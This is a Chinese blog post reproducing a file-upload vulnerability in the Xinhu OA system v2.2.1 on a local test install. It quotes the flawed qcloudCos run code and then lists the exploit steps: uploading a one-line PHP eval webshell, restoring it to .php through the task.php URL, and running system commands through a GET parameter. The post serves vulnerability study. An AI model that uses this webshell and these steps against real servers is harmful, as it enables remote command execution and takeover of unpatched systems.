信呼v2.2.1文件上传漏洞复现

前言
这个漏洞的复现呢也是借鉴了Y4tacker的博客(地址:https://blog.csdn.net/solitudi/article/details/118675321)
环境配置
环境:win10
phpamb 下载地址:http://www.rockoa.com/view_phpamb.html
下载phpamb,按照要求安装配置好之后

然后在www文件夹下解压下载的信呼v2.2.1
浏览器访问http://127.0.0.1:829/ 会显示如图

注意安装时的数据库地址为localhost:3307不然会报错,初始密码为空,这里我在配置文件里改成123456了

登录

登录后会强制修改密码,把123456改成其它密码就行了,至此环境配置成功。

找到文件上传点

2.2的文件上传漏洞是存在一个白名单的

漏洞分析:白名单之外的文件后缀会被更改为uptemp后缀,并且拥有一个id属性
上传的文件内容会被base64编码
但是查看webmain\task\runt\qcloudCosAction.php腾讯云存储下的qcloudCosClassAction的run方法

public function runAction()
{
$fileid = (int)$this->getparams('fileid','0'); //文件ID
if($fileid<=0)return 'error fileid';
$frs = m('file')->getone($fileid);
if(!$frs)return 'filers not found';
$filepath = $frs['filepath'];
if(substr($filepath, 0, 4)=='http')return 'filepath is httppath';
if(substr($filepath,-6)=='uptemp'){
$aupath = ROOT_PATH.'/'.$filepath;
$nfilepath = str_replace('.uptemp','.'.$frs['fileext'].'', $filepath);
$content = file_get_contents($aupath);
$this->rock->createtxt($nfilepath, base64_decode($content));
unlink($aupath);
$filepath = $nfilepath;
}
$msg = $this->sendpath($filepath, $frs, 'filepathout');
if($msg)return $msg;
$thumbpath = $frs['thumbpath'];
if(!isempt($thumbpath)){
$msg = $this->sendpath($thumbpath, $frs, 'thumbplat');
if($msg)return $msg;
}
return 'success';
}

把后缀和内容都还原了,那这个漏洞的思路就是,先上传,然后抓包获取上传的webshell的id,再访问如下图网址,更改id,即可还原php文件内容,

第一步:上传抓包,所用的一句话木马:1.php,内容如下:

<?php eval($_GET["1"]);?>

这里会得到两个数据包,在第二个数据包的响应包里能得到我们的id,filecontid=8,就是我们要得到的,并非id

第二步:访问http://127.0.0.1:829/task.php?m=qcloudCos|runt&a=run&fileid=8
即可看到文件路径,并生成同名的php

第三步:直接访问http://127.0.0.1:829/upload/2022-11/08_14565255.php?1=system("whoami");
成功实现命令执行,将whoami换成其它内容执行命令也可

posted @   钎劫  阅读(1686)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】

阅读目录(Content)

此页目录为空

点击右上角即可分享
微信分享提示